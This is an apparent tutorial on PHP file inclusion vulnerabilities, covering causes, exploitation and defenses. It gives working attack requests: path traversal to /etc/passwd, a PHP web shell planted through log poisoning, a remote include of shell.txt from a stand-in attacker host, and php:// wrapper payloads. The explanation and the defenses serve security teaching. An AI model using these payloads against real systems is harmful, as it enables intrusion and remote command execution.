Detailed Explanation of File Inclusion Vulnerabilities
1. Vulnerability Description
A File Inclusion Vulnerability is a common web security flaw, often occurring when an application dynamically loads files without strictly filtering user input. The vulnerability is categorized into two types:
- Local File Inclusion (LFS): Accesses sensitive local files on the server (e.g.,
/etc/passwd) by constructing specific paths. - Remote File Inclusion (RFI): Loads and executes malicious code from a remote URL (e.g.,
http://attacker-server/shell.txt), enabling arbitrary code execution.
This type of vulnerability often originates from PHP functions likeinclude()andrequire(), but similar issues can exist in other languages (e.g., JSP, ASP).
2. Conditions for Vulnerability
- Dynamic inclusion mechanism: The code uses inclusion functions with controllable parameters (e.g.,
include($_GET['file']);). - Lack of path validation: No filtering or restriction on user-supplied file paths.
- Additional condition for RFI: PHP configuration requires
allow_url_include=On(usually disabled by default).
3. Attack Principles and Exploitation Steps
Local File Inclusion (LFS) Example:
Assume the code: <?php include($_GET['page'] . '.php'); ?>. An attacker can exploit it as follows:
-
Directory Traversal:
- Normal request:
/index.php?page=about→ includesabout.php. - Attack request:
/index.php?page=../../etc/passwd%00(uses null byte%00to truncate the.phpsuffix). - Result: The server returns the contents of
/etc/passwd.
- Normal request:
-
Exploiting Log Files:
- Step 1: Inject malicious code into the User-Agent header:
<?php system($_GET['cmd']); ?>. - Step 2: Use LFS to include a log file (e.g.,
/var/log/apache2/access.log). - Step 3: Pass the parameter
?cmd=idto execute system commands.
- Step 1: Inject malicious code into the User-Agent header:
Remote File Inclusion (RFI) Example:
- The attacker places a malicious file
shell.txton a public server:<?php system($_GET['cmd']); ?> - The target website has an RFI vulnerability:
/index.php?page=http://attacker-ip/shell.txt - The server loads the remote file and executes the PHP code within it. The attacker controls the server via
?cmd=command.
4. Advanced Exploitation Techniques
- Using PHP Wrappers:
php://filter: Read file source code (Base64-encoded to avoid parsing):/index.php?page=php://filter/convert.base64-encode/resource=config.phpphp://input: Directly execute code from POST data (requiresallow_url_include=On):POST /index.php?page=php://input Body: <?php system('ls'); ?>
- Bypassing Restrictions:
- Path traversal: Use
....//or encoding (e.g.,%2e%2e/) to bypass simple filters. - Suffix truncation: Null byte
%00(PHP <5.3 only) or length-based truncation (e.g., overly long paths).
- Path traversal: Use
5. Defense Measures
- Whitelist Validation: Only allow inclusion of predefined filenames (e.g.,
about|contact|home). - Fixed Directory: Set a base path (e.g.,
include("./pages/" . $file);). - Disable Dangerous Functions: Turn off
allow_url_includeandallow_url_fopen. - Filter Special Characters: Block strings containing
../,http://,php://, etc. - File Extension Restrictions: Avoid dynamically appending suffixes, or enforce strict file extension validation.
6. Real-World Cases
- WordPress Plugin Vulnerabilities: Historical vulnerabilities in multiple plugins due to unfiltered
includeparameters leading to LFS/RFI. - Metasploit Module: Built-in
exploit/multi/php/php_includefor automated RFI attacks.
In summary, the core of file inclusion vulnerabilities lies in "user-controlled file paths." Defense requires addressing both input validation and server configuration.